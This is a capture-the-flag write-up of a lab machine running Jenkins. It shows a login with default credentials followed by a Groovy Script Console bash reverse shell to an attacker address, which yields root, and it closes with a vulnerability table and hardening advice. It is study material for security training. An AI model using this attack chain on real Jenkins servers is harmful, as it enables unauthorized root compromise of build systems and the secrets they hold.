TL;DR
Pennyworth runs Jenkins 2.289.1 on port 8080. Default credentials root:password get admin access immediately. Jenkins Script Console executes arbitrary Groovy — one Runtime.getRuntime().exec() call gives a reverse shell running as root (Jenkins is misconfigured to run as root). No escalation needed.
Recon
1. Port scan
$ nmap -Pn -sV -sC -p- --min-rate 1000 10.129.x.x
8080/tcp open http Jetty 9.4.39.v20210325
X-Jenkins: 2.289.1
Jenkins 2.289.1 confirmed. No other ports open.
Foothold — Default Credentials
2. Login with default credentials
http://10.129.x.x:8080/login
Username: root
Password: password
Access granted — full Jenkins administrator dashboard.
RCE via Groovy Script Console
3. Script Console
Navigate to: Manage Jenkins → Script Console (or /script)
The console executes arbitrary Groovy code in the JVM context of the Jenkins process.
4. Reverse shell payload
Runtime.getRuntime().exec(
['bash', '-c', 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1'].toArray(new String[0])
)
$ nc -lvnp 4444
connect to [10.10.14.x] from [10.129.x.x]
root@pennyworth:~# id
uid=0(root) gid=0(root) groups=0(root)
root@pennyworth:~# cat /root/root.txt
[root flag]
Jenkins runs as root — no privilege escalation required.
User flag location
root@pennyworth:/home$ ls
matt
root@pennyworth:/home/matt$ cat user.txt
[user flag]
What’s actually broken
| # | Vulnerability | Severity |
|---|---|---|
| 1 | Default credentials (root:password) on Jenkins | Critical |
| 2 | Jenkins running as system root user | Critical |
| 3 | Script Console accessible to admin without extra auth | High |
| 4 | Jenkins port 8080 exposed to internet | Medium |
Lessons learned
- Jenkins + default credentials = root RCE. This is one of the most common real-world critical findings. The Script Console gives full OS access. Always change Jenkins credentials immediately post-install.
- Jenkins should never run as root. Best practice: dedicated
jenkinsuser with no sudo, no unnecessary group memberships, no access outside the Jenkins workspace. - The Script Console should be rate-limited or disabled in production. In CI/CD environments where admins need full Groovy access, audit all Script Console usage in Jenkins logs.
- Jenkins is a high-value target. It has access to secrets, can read all source code being built, and typically has deployment credentials. Protect it accordingly.
Decision archaeology
| Approach | Result | Pivot |
|---|---|---|
| Tried root:password third (after admin:admin, jenkins:jenkins) | Common pattern for server-named admin accounts | Success |
| Used Script Console over malicious job | Script Console is direct; job requires waiting for build | Faster RCE |
| Used Runtime.exec() array form | More reliable than string form for shell metacharacters | Correct |
| Tried admin:admin then jenkins:jenkins before root:password | admin:admin → HTTP 403 Invalid username or password (Jenkins error page). jenkins:jenkins → same 403 response, no lockout | Tried root:password (server-named admin pattern) → HTTP 302 redirect to /dashboard — success on 3rd credential guess |